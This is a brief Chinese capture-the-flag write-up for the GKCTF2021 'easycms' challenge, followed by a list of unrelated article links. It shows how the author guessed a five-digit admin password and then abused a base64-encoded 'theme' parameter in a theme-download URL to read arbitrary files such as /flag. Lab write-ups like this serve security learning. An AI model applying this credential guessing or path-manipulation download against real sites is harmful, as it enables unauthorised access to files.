[GKCTF2021]easycms
2021/7/17 6:08:29
本文主要是介绍[GKCTF2021]easycms,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
[GKCTF2021]easycms
扫到admin.php
官方提示了,后台密码为5位数字的,
盲猜账号admin
密码12345
登录到后台
点击:设计->导出主题->保存
然后复制下载的主题的链接
http://caf73c4b-734b-495b-b898-dc46661beb7f.node4.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
看到一串base64编码
进行解码:
猜测可能存在任意文件下载,将/flag
base64编码(L2ZsYWc=
)加入到url中
http://caf73c4b-734b-495b-b898-dc46661beb7f.node4.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
拿到flag.zip
文件,修改后缀为txt
打开拿到flag
题目中还有很多的目录穿透点,我就不一一复现了。
这篇关于[GKCTF2021]easycms的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-06-29易优CMS安装常见问题汇总-icode9专业技术文章分享
- 2024-06-28易优新手必读安装教程-icode9专业技术文章分享
- 2024-06-28忘记eyoucms后台密码怎么办?-icode9专业技术文章分享
- 2024-06-26终极指南:Scrum中如何设置需求优先级
- 2024-06-26AI大模型企业应用实战(25)-为Langchain Agent添加记忆功能
- 2024-06-26小白家庭 nas 搭建方案-icode9专业技术文章分享
- 2024-06-23AI大模型企业应用实战(14)-langchain的Embedding
- 2024-06-23AI大模型企业应用实战(15)-langchain核心组件
- 2024-06-23AI大模型企业应用实战(16)-langchain核心组件
- 2024-06-23AI 大模型企业应用实战(06)-初识LangChain